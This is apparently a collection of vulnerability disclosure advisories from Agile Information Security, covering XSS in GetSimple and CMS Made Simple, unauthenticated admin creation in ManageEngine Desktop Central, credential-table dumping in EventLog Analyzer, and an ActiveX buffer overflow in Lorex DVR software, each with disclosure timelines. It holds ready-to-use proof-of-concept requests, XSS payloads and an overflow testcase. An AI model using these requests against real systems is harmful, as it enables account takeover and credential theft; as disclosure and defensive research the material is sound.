	http://192.168.56.101/getsimple/admin/load.php?id=anonymous_data&param="><script>alert(1)</script>

Persistent XSS in settings page:
	<form name="input" action="http://192.168.56.101/getsimple/admin/settings.php" method="post">
	<input type="text" name="user" value=""><script>alert(1);</script>">
	<input type="text" name="email" value=""><script>alert(2);</script>">
	<input type="text" name="name" value=""><script>alert(3);</script>">
	<input type="hidden" name="submitted" value="Save Settings">
	<input type="submit" value="Submit">
	</form>


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Administrator account creation in ManageEngine Desktop Central / Desktop Central MSP
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 31/12/2014 / Last updated: 05/01/2015

>> Background on the affected product:
"Desktop Central is an integrated desktop & mobile device management software that helps in managing the servers, laptops, desktops, smartphones and tablets from a central point. It automates your regular desktop management routines like installing patches, distributing software, managing your IT Assets, managing software licenses, monitoring software usage statistics, managing USB device usage, taking control of remote desktops, and more."

This vulnerability is being released as a 0day since ManageEngine failed to take action after 112 days. See timeline for details.

>> Technical details:
Vulnerability: Administrator account creation (unauthenticated)
CVE-2014-7862
Constraints: none; no authentication or any other information needed
Affected versions: all versions from v7 onwards

GET /servlets/DCPluginServelet?action=addPlugInUser&role=DCAdmin&userName=dcpwn&email=bla@bla.com&phNumber=123456&password=8fR%2bRoOURmY0EXsX%2bCmung%3d=&salt=1401192012599&createdtime=1337

This creates a new administrator user "dcpwn" with the password "admin". You can now execute code on all devices managed by Desktop Central!
A Metasploit auxiliary module that exploits this vulnerability has been released.

>> Fix: 
(updated 05/01/2015) Upgrade to version 9.0 build 90109 or later.

This vulnerability was initially disclosed on 31/12/2014 as a 0-day, as ManageEngine failed to take action after 112 days.

Timeline of disclosure:
11/09/2014:
- Vulnerability information sent to Romanus, Desktop Central project manager.

23/09/2014:
- Requested an update. Received reply "My development team is working on this to provide a fix. Let me check this and update you the status."

17/10/2014
- Requested an update. Received reply on the 19th "Due to festive season here i'm unable to get the update. Let me find this and update you by Monday."

30/10/2014
- Requested an update. Received reply "The development and testing of the reported part should get over in another 3 weeks and when it is ready for release build I'll send it for testing."

23/11/2014
- Requested an update. Received reply on the 24th "I was traveling hence couldn't give you an update.  It should get released by next week or early second week. I'll send you an update on this."

15/12/2014
- Requested an update. Received reply on the 18th "it has been handled from the Desktop Central side and awaiting for the release".

31/12/2014
- Released information and exploit 112 days after initial disclosure.

================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
> Vulnerabilities in CMS Made Simple, version 1.11.9
> Discovered by Pedro Ribeiro (pedrib@gmail.com) of Agile Information Security
> Reported to ted@cmsmadesimple.org and calguy1000@cmsmadesimple.org 

Disclosure: 28/02/2014 / Last updated: 12/10/2014

CMS Made Simple, an open source content management system, allows for faster and easier management of website content. This CMS is scalable for small businesses to large corporations.

TL;DR: 
XSS in admin console, weak CSRF protection and a possible PHP object insertion via unserialize.

These vulnerabilities were considered unimportant by the CMS Made Simple developers. Their reasoning was that they had to be exploited by a logged in administrator user who is a trusted user anyway. When I explained to them that with XSS all you need to do is send a malicious link to the administrator, they responded back saying that they are confident in their CSRF protection. I then sent them an analysis of their CSRF protection (at the bottom of this advisory), which I found to be quite weak. Finally they commited to implement a half-assed mitigation for the CSRF token weakness but said they will not fix the other issues.


Timeline:
- 27.11.2013: Initial contact to the emails listed in www.cmsmadesimple.com. No reply.
- 03.12.2013: Message posted in the www.cmsmadesimple.com public forum asking to contact me back. A few hours later I was contacted by calguy and sent him a more complete version of this advisory with recommendations.
- 09.12.2013: calguy responds saying these will not be fixed as you have to be an admin user anyway.
- 13.12.2013: After a few days arguing over email, Robert Campbell, CMS Made Simple project manager, responds with an official note saying they will double the CSRF token length in a future release but will not fix the rest of the issues. 
- 14.12.2013: Handed over to CERT asking for help to try to reason with the CMS Made Simple developers.
- 28.02.2014: Public disclosure by CERT


====================================================================
Vulnerability: Persistent cross site scripting (XSS) in add* pages (CVE-2014-0334)
File(line): cmsmadesimple/admin/addgroup.php(107)
File(line): cmsmadesimple/admin/addhtmlblob.php(165)
File(line): cmsmadesimple/admin/addbookmark.php(92/96)

Code snippet:

addgroup.php:
$group= "";
if (isset($_POST["group"])) $group = $_POST["group"];

...
		<div class="pageoverflow">
			<p class="pagetext">*<?php echo lang('name')?>:</p>
			<p class="pageinput"><input type="text" name="group" maxlength="255" value="<?php echo $group?>" /></p>
			
addhtmlblob.php:
$htmlblob = "";
if (isset($_POST['htmlblob'])) $htmlblob = trim($_POST['htmlblob']);

...

		<div class="pageoverflow">
			<p class="pagetext">*<?php echo lang('name') .' '. lang('gcb_name_help')?>:</p>
			<p class="pageinput"><input type="text" name="htmlblob" maxlength="255" value="<?php echo $htmlblob?>" class="standard" /></p>
		</div>
		
addbookmark.php:
$title= "";
if (isset($_POST["title"])) $title = $_POST["title"];
$url = "";
if (isset($_POST["url"])) $url = $_POST["url"];

...

      <input type="hidden" name="<?php echo CMS_SECURE_PARAM_NAME ?>" value="<?php echo $_SESSION[CMS_USER_KEY] ?>" />
        </div>
				<div class="pageoverflow">
					<p class="pagetext"><?php echo lang('title')?>:</p>
					<p class="pageinput"><input type="text" name="title" maxlength="255" value="<?php echo $title?>" /></p>
				</div>
				<div class="pageoverflow">
					<p class="pagetext"><?php echo lang('url')?>:</p>
					<p class="pageinput"><input type="text" name="url" size="50" maxlength="255" value="<?php echo $url ?>" class="standard" /></p>
				</div>
		
Comment:				
addgroup.php: "group" parameter is written directly onto the page without validation.
addhtmlblob.php: "htmlblob" parameter is written directly onto the page without validation.
addbookmark.php: "title" and "url" parameters are written directly onto the page without validation.

Proof-of-concept:
addgroup.php: (POST) _sx_=39d304b1&group=<script>alert(2)</script>&active=on&addgroup=true
addhtmlblob.php: (POST) _sx_=39d304b1&htmlblob=%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&use_wysiwyg=0&use_wysiwyg=1&content=asas&description=ddd&addhtmlblob=true&submit2=Submit	
addbookmark.php: (POST) title="><script>alert(1)</script>&url="><script>alert(2)</script>&addbookmark=true

NOTE: this will also cause XSS in the respective list* pages.

====================================================================
Vulnerability: Persistent cross site scripting (XSS) in copy* pages (CVE-2014-0334)
File(line): cmsmadesimple/admin/copystylesheet.php(117)
File(line): cmsmadesimple/admin/copytemplate.php(160)
Code snippet:

copystylesheet.php:
$stylesheet_name = '';
if (isset($_REQUEST["stylesheet_name"])) { $stylesheet_name = $_REQUEST["stylesheet_name"]; }

...
		<div class="pageoverflow">
			<p class="pagetext"><?php echo lang('stylesheet'); ?>:</p>
			<p class="pageinput"><?php echo $stylesheet_name; ?></p>
		</div>
		
copytemplate.php:
		<div class="pageoverflow">
			<p class="pagetext"><?php echo lang('template'); ?>:</p>
			<p class="pageinput"><?php echo $template_name; ?></p>
		</div>
		
Comment:				
copystylesheet.php: "stylesheet_name" parameter is written directly onto the page without validation.
copytemplate.php: "template_name" parameter is written directly onto the page without validation.

Proof-of-concept:
copystylesheet.php: (POST) _sx_=39d304b1&stylesheet=%22%3E%3Cscript%3Ealert%285%29%3C%2Fscript%3E&stylesheet_id=32&copystylesheet=true
copytemplate.php: (POST) _sx_=39d304b1&template=%22%3E%3Cscript%3Ealert%2825%29%3C%2Fscript%3E&template_id=15&copytemplate=true&from=listtemplates.php%3F_sx_%3D39d304b1

NOTE: this will also cause XSS in the respective list* pages.

====================================================================
Vulnerability: Persistent cross site scripting (XSS) in list* pages (CVE-2014-0334)
File(line): cmsmadesimple/admin/addtemplate.php(117)
File(line): cmsmadesimple/admin/listtemplates.php(188)
File(line): cmsmadesimple/admin/addcss.php(65-156)
File(line): cmsmadesimple/admin/listcss.php(172)

Code snippet:

addtemplate.php:
$template = "";
if (isset($_POST["template"])) $template = $_POST["template"];
...
audit($newtemplate->id, 'HTML-template: '.$template, 'Added');

listtemplates.php:
if ($counter < $page*$limit && $counter >= ($page*$limit)-$limit) {
	echo "<tr class=\"$currow\">\n";															| template name shown below
	echo "<td><a href=\"edittemplate.php".$urlext."&template_id=".$onetemplate->id."\">".$onetemplate->name."</a></td>\n"; 
	echo "<td class=\"pagepos\">".($onetemplate->default == 1?$default_true:$default_false)."</td>\n";
	
addcss.php:	
# then its name
$css_name = "";
if (isset($_POST["css_name"])) $css_name = $_POST["css_name"];

// Now clean up name
$css_name = htmlspecialchars($css_name, ENT_QUOTES);
			^ HTML encoded here, but stored in the database		

...
	$newstylesheet->name = $css_name;
...
	$result = $newstylesheet->Save();	

listcss.php:
// if user has right to delete
if ($delcss)
  {
	echo "<td class=\"icons_wide\"><a href=\"deletecss.php".$urlext."&css_id=".$one["css_id"]."\" onclick=\"return confirm('".cms_html_entity_decode_utf8(lang('deleteconfirm', $one['css_name']),true)."');\">";	<--- HTML decoded here
	echo $themeObject->DisplayImage('icons/system/delete.gif', lang('delete'),'','','systemicon');
	echo "</a></td>\n";
  }
  
				
Comment:				
addtemplate.php: The "template" parameter is encoded properly in addtemplate.php, but stored in the database and displayed as part of HTML output in listtemplates.php.
addcss.php: The "css_name" parameter is encoded properly in addcss.php, but stored in the database and displayed as part of HTML output in listcss.php.

Proof-of-concept:
addtemplate.php: (POST) template=%22%3E%3Cscript%3Ealert%2822%29%3C%2Fscript%3E&content=%7Bprocess_pagedata%7D%3C%21DOCTYPE+html+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Transitional%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2Fxhtml1%2FDTD%2Fxhtml1-transitional.dtd%22%3E%0D%0A%3Chtml+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22+xml%3Alang%3D%22en%22+%3E%0D%0A%3Chead%3E%0D%0A%3Ctitle%3E%7Bsitename%7D+-+%7Btitle%7D%3C%2Ftitle%3E%0D%0A%7Bmetadata%7D%0D%0A%7Bcms_stylesheet%7D%0D%0A%3C%2Fhead%3E%0D%0A%3Cbody%3E%0D%0A%0D%0A%3C%21--+start+header+--%3E%0D%0A%3Cdiv+id%3D%22header%22%3E%0D%0A++%3Ch1%3E%7Bsitename%7D%3C%2Fh1%3E%0D%0A%3C%2Fdiv%3E%0D%0A%3C%21--+end+header+--%3E%0D%0A%0D%0A%3C%21--+start+menu+--%3E%0D%0A%3Cdiv+id%3D%22menu%22%3E%0D%0A++%7Bmenu%7D%0D%0A%3C%2Fdiv%3E%0D%0A%3C%21--+end+menu+--%3E%0D%0A%0D%0A%3C%21--+start+content+--%3E%0D%0A%3Cdiv+id%3D%22content%22%3E%0D%0A++%3Ch1%3E%7Btitle%7D%3C%2Fh1%3E%0D%0A++%7Bcontent%7D%0D%0A%3C%2Fdiv%3E%0D%0A%3C%21--+end+content+--%3E%0D%0A%0D%0A%3C%2Fbody%3E%0D%0A%3C%2Fhtml%3E%0D%0A&active=on&addtemplate=true&submit=Submit
listcss.php: (POST) css_name="><script>alert(1)</script>&css_text=b&media_query=c&addcss=true
			
====================================================================
Vulnerability: Persistent cross site scripting (XSS) in edit* pages (CVE-2014-0334)
File(line): cmsmadesimple/admin/editbookmark.php(117/121)

Important note: due to lack of time I could not test the other edit* pages, but looking at the code quickly they seem vulnerable.
I suspect the following are also vulnerable:
editcontent.php
editcss.php
editevent.php
editgroup.php
edithtmlblob.php
edittemplate.php
edituser.php
edituserplugin.php

Code snippet:

editbookmark.php:
$title = "";
if (isset($_POST["title"])) $title = $_POST["title"];

$myurl = "";
if (isset($_POST["url"])) $myurl = $_POST["url"];

...

		<div class="pageoverflow">
			<p class="pagetext"><?php echo lang('title')?>:</p>
			<p class="pageinput"><input type="text" name="title" maxlength="255" value="<?php echo $title?>" /></p>
		</div>
		<div class="pageoverflow">
			<p class="pagetext"><?php echo lang('url')?>:</p>
			<p class="pageinput"><input type="text" name="url" size="80" maxlength="255" value="<?php echo $myurl ?>" /></p>
		</div>

Comment:				
editbookmark.php: "title" and "url" parameters are written directly onto the page without validation.

Proof-of-concept:	
editbookmark.php: (POST) _sx_=39d304b1&title="><script>alert(99)</script>&url="><script>alert(999)</script>&bookmark_id=6&editbookmark=true&userid=1	
		
NOTE: this will also cause XSS in the respective list* pages.		

====================================================================
Vulnerability: Reflected cross site scripting (XSS) in message parameter (CVE-2014-0334)
File(line): cmsmadesimple/admin/listcss.php(61)
File(line): cmsmadesimple/admin/listtemplates.php(49)
File(line): cmsmadesimple/admin/listusers.php(42)
File(line): cmsmadesimple/admin/listhtmlblobs.php(45)
File(line): cmsmadesimple/admin/listcssassoc.php(167)
File(line): cmsmadesimple/admin/templatecss.php(107)

Code snippet:				
(from listcss.php)
#******************************************************************************
# first : displaying error message, if any.
#******************************************************************************
if (isset($_GET["message"])) {
	$message = preg_replace('/\</','',$_GET['message']);
	echo '<div class="pagemcontainer"><p class="pagemessage">'.$message.'</p></div>';

Comment:				
Could not exploit the "message" param properly, as the regex strips the "<". Might be doable by someone smarter that knows how to play with encodings properly?

Proof-of-concept:
(GET) http://192.168.56.101/cmsmadesimple/admin/listcss.php?_sx_=39d304b1&message=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E


======================================================================
Vulnerability: Cross Site Request Forgery
File(line): application wide

Comment:
The application contains a weak CSRF protection. The CSRF token is called "user key" and is named "_sx_", and is attributed to a user per session.
- Tokens are included in the URL in HTTP GET requests
- Tokens are also included in many Referral headers upon redirect, making them accessible to JavaScript
- Tokens are only 8 characters long (and alphanumeric only), meaning they are easy to bruteforce
- Getting a token wrong does not seem to kill the user session, making bruteforce feasible
NOTE: Version 1.11.10 doubles the character length to 16 characters which helps with bruteforce. However the application still leaks the CSRF tokens where it shouldn't, allowing them to be easily extracted in combination wit the XSS flaws.


References:
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet


====================================================================
Vulnerability: PHP Object Insertion 
File(line): cmsmadesimple/admin/changegroupperm.php(115)
Code snippet:

    $selected_groups = unserialize(base64_decode($_POST['sel_groups']));
    $query = 'DELETE FROM '.cms_db_prefix().'group_perms 
               WHERE group_id IN ('.implode(',',$selected_groups).')';
    $db->Execute($query);

	
Comment:
User input is passed directly into unserialize(). 
Low risk as currently there are no exploitable methods in CMS Made Simple core. Worth keeping an eye on as they are not going to fix it anytime soon, or trail through the dozens of available plugins to see if there's an exploitable method there.
	
References:
https://www.owasp.org/index.php/PHP_Object_Injection
http://www.alertlogic.com/writing-exploits-for-exotic-bug-classes/
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
http://vagosec.org/2013/12/wordpress-rce-exploit/

				
================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
>> Multiple vulnerabilities in ManageEngine EventLog Analyzer
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
==========================================================================
Disclosure: 05/11/2014 / Last updated: 05/11/2014

>> Background on the affected product:
"EventLog Analyzer provides the most cost-effective Security Information and Event Management (SIEM) software on the market. Using this Log Analyzer software, organizations can automate the entire process of managing terabytes of machine generated logs by collecting, analyzing, correlating, searching, reporting, and archiving from one central location. This event log analyzer software helps to monitor file integrity, conduct log forensics analysis, monitor privileged users and comply to different compliance regulatory bodies by intelligently analyzing your logs and instantly generating a variety of reports like user activity reports, historical trend reports, and more."


>> Technical details:
#1
Vulnerability: SQL database information disclosure (read any table in the database)
CVE-2014-6038
Constraints: none; no authentication or any other information needed. On v7 the url has to be prepended with /event/.
Affected versions: all versions from v7 to v9.9 build 9002.

GET /agentHandler?mode=getTableData&table=[tableName]
GET /agentHandler?mode=getTableData&table=AaaUser --> user logins
GET /agentHandler?mode=getTableData&table=AaaPassword --> user passwords (MD5 hashed) and salts
GET /agentHandler?mode=getTableData&table=AaaPasswordHint --> user password hints
GET /agentHandler?mode=getTableData&table=HostDetails --> Windows / AS/400 managed hosts Administrator usernames and passwords (XOR'ed with 0x30)


#2
Vulnerability: Windows / AS/400 managed hosts Administrator credentials disclosure
CVE-2014-6039
Constraints: none; no authentication or any other information needed. On v7 the url has to be prepended with /event/.
Affected versions: all versions from v7 to v9.9 build 9002.

GET /hostdetails?slid=X&hostid=Y
GET /hostdetails?slid=1&hostid=1 --> Windows / AS/400 hosts superuser username and password (XOR'ed with 0x30 and base64 encoded)


A Metasploit exploit that abuses these two vulnerabilities to obtain the managed device superuser credentials has been released.


>> Fix:
UNFIXED - ManageEngine failed to take action after 70 days.

Timeline of disclosure:
28/08/2014 
- Requested contact to email via ManageEngine Security Response Center
- Received email from support and sent details about the vulnerabilities above and a third vulnerability (remote code execution via file upload).
           
28/08/2014 
- ManageEngine acknowledge the receipt and promise to keep me informed of the progress.
           
31/08/2014 
- hong10 releases details about the remote code execution via file upload vulnerability which I had discovered. Apparently he discovered and communicated it to ManageEngine over a year ago and no action had been taken (see http://seclists.org/fulldisclosure/2014/Aug/86).
- I ask ManageEngine why I hadn't been informed that one of my vulnerabilities had already been disclosed to them over a year ago. They respond with "We appreciate your efforts and will fix your vulnerabilities, please bear with us".
- With hong10's support, I release an exploit for the remote code execution vulnerability (see http://seclists.org/fulldisclosure/2014/Aug/88). I also remove the vulnerability information from this report since it has already been discovered and disclosed by hong10.

11/09/2014
- Asked for an update on progress. Received a response a day after "the development team will include the fix in our next release".

13/10/2014
- Asked for an update on progress. No response.

17/10/2014
- Informed ManageEngine that will release details and an exploit the next day if no reply is received.

19/10/2014
- Attempted escalation via the project manager for Desktop Central. EventLog support team replies on the next day apologising for not responding and saying will get back to me as soon as possible.

05/11/2014
- Informed EventLog support that would release details and exploit today. Received reply stating "we are working on this but cannot commit to a date; the new version has a tentative release date of end of quarter".
- Released advisory and exploit 70 days after initial contact (interesting fact: it's been 67 days since the release of my exploit for hong10's vulnerability and EventLog Analyzer is still vulnerable to remote code execution).


================
Agile Information Security Limited
http://www.agileinfosec.co.uk/
>> Enabling secure digital business >>
            
Disclosure: 09/01/2014 / Last updated: 18/01/2015


Hi,

I have discovered a buffer overflow vulnerability that allows remote code execution in an ActiveX control bundled by a manufacturer of video surveillance systems. 
The company is Lorex Technologies, a major video surveillance manufacturer that is very popular in the US and East Asia. Their affected product range is the EDGE series, which has 16 products in it. I have confirmed that all 16 are vulnerable at this point in time. These security DVR's are remotely accessible, and when you access it on a Windows computer with Internet Explorer, they try to install the vulnerable ActiveX control INetViewX. The Lorex manual[1] instructs the user to blindly accept the ActiveX control install when prompted. 
The full list of devices, as well as links to the firware download, can be found in [2]. Their products offer remote video viewing capabilities, and you can find some of them on Shodan[3]. 

The buffer overflow can be triggered by a really long string (10000+ characters) in the HTTP_PORT parameter. The instruction pointer can be very easily controlled in XP by the characters 109 to 113 in the string. Please refer to the PoC file lorex-testcase.html. You will see that the HTTP_PORT parameter is composed of D's, apart from chars 109 to 113 which are four A's. If you open this file in IE after installing the control, you will see that IE will crash with an EIP of 0x41414141. Changing the four A's to any other value will cause EIP to crash on that value. 

The list below tells a better story about what is affected and how it can be controlled:
Win XP SP3 with IE6 - Fully exploitable as described
Win XP SP3 with IE8 - Could not get it to crash (????)
Win 7 x64 with IE10 fully patched - Fully exploitable, though not as easy as for XP (see analyze -v [4] and !exploitable [5] outputs)

To verify this vulnerability you can download and extract the firmware using binwalk (http://code.google.com/p/binwalk/). To do so, please follow the instructions in [6], and then install the ActiveX control in INetViewProj1_02030330.cab. 

I have contacted Lorex and they initially said they would fix it, but went radio silent shortly afterwards.
17.11.2013 - Initial contact via support page
18.11.2013 - Email to sales, no response.
21.11.2013 - Second email to sales, received response by sales saying they will forward it to technical support and get back to me.
04.12.2013 - Third email to sales saying that technical support never contacted me back. No response.
08.01.2014 - MITRE assigns CVE-2014-1201 to this issue.
09.01.2014 - Public disclosure.

All references can be found at:
https://github.com/pedrib/PoC/blob/master/lorexActivex/lorex-report.txt

Proof of concept:
https://raw.githubusercontent.com/pedrib/PoC/master/lorexActivex/lorex-testcase.html

Regards,
Pedro Ribeiro (pedrib@gmail.com)
Agile Information Security 


-------------------------
[1] Lorex manual for LH300 series
-------------------------
http://www.lorextechnology.com/downloads/security-dvr/LH300-Series/LH300_SERIES_MANUAL_EN_R2_web.pdf


-------------------------
[2] List of vulnerable device families and URL for firmware download
-------------------------
LH340-Series 960H security video recorder Edge 3 series (2 devices affected)
http://www.lorextechnology.com/downloads/security-dvr/LH340-Series/LH340_SERIES_FIRMWARE_8CH_11.19.85_1FE3A.zip

LH330-Series Security DVR system Edge2 series (3 devices affected)
http://www.lorextechnology.com/downloads/security-dvr/LH330-Series/LH330_SERIES_FIRMWARE_8CH_11.17.38-33_1D97A.zip

LH320-Series Surveillance DVR Edge+ series (5 devices affected)
http://www.lorextechnology.com/downloads/security-dvr/LH300-Series/LH300_SERIES_FIRMWARE_4CH_7-35-28-1B26E.zip

LH310-Series DVR for surveillance cameras Edge series (6 devices affected)
http://www.lorextechnology.com/downloads/security-dvr/LH300-Series/LH300_SERIES_FIRMWARE_4CH_7-35-28-1B26E.zip



-------------------------
[3] Shodan link for Lorex DVR's
-------------------------
https://scanhub.shodan.io/scanhub-demo/search?q=%28os.name%3A%22LOREX+SECURITY+DVR%22%29+AND+os.name.name_facet%3A%22Lorex+Security+DVR%22


-------------------------
[4] Win 7 x64 IE10 Analyze -v output
-------------------------
FOLLOWUP_IP: 
INetViewProj1!Inetviewimpl1Finalize+563d
09a7f911 f2ae            repne scas byte ptr es:[edi]

APP:  iexplore.exe

PRIMARY_PROBLEM_CLASS:  WRONG_SYMBOLS

BUGCHECK_STR:  APPLICATION_FAULT_WRONG_SYMBOLS

IP_ON_HEAP:  0000000044444444
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 44444444

FRAME_ONE_INVALID: 1

LAST_CONTROL_TRANSFER:  from 0000000044444444 to 0000000009a7f911

STACK_TEXT:  
WARNING: Stack unwind information not available. Following frames may be wrong.
04bbc724 44444444 44444444 44444444 44444444 INetViewProj1!Inetviewimpl1Finalize+0x563d
04bbc728 44444444 44444444 44444444 44444444 0x44444444
04bbc72c 44444444 44444444 44444444 44444444 0x44444444
04bbc730 44444444 44444444 44444444 44444444 0x44444444
04bbc734 44444444 44444444 44444444 44444444 0x44444444


-------------------------
[5] Win 7 x64 IE10 !exploitable output
-------------------------
0:008:x86> !exploitable

!exploitable 1.6.0.0
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - Exception Handler Chain Corrupted starting at INetViewProj1!Inetviewimpl1Finalize+0x000000000000563d (Hash=0xe1e32303.0x6b2fc9c7)

Corruption of the exception handler chain is considered exploitable


-------------------------
[6] How to extract the vulnerable ActiveX control from the firmware image
-------------------------
wget http://www.lorextechnology.com/downloads/security-dvr/LH340-Series/LH340_SERIES_FIRMWARE_8CH_11.19.85_1FE3A.zip
unzip LH340_SERIES_FIRMWARE_8CH_11.19.85_1FE3A.zip
binwalk -e 62082\(lorex\)os_11.19.85_1FE3A.rom
cd _62082\(lorex\)os_11.19.85_1FE3A.rom.extracted/
7z x 6B2000
cd web
ls -la INetViewProj1_02030330.cab






<!--
COM Object - {05B550C0-E424-4F91-9928-EA970817BFC0} INetViewX Control
*******************************************************************************
COM Object Filename : E:\lorex-ocx\INetViewProj1_02030160.ocx
Major Version       : 2
Minor Version       : 3
Build Number        : 1
Revision Number     : 60
Product Version     : 1.0.0.0
Product Name        : 
Company Name        : 
Legal Copyright     : 
Comments            : 
File Description    : 
File Version        : 2.3.1.60
Internal Name       : 
Legal Trademarks    : 
Private Build       : not found
Special Build       : not found
Language            : not found
*******************************************************************************
-->
<object id=TestObj classid="CLSID:{05B550C0-E424-4F91-9928-EA970817BFC0}" style="width:100;height:350">
<param NAME="Properties" VALUE="a">
<param NAME="Contents" VALUE="b">
<param NAME="DVRIP" VALUE="c">
<param NAME="HTTP_PORT" VALUE="DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD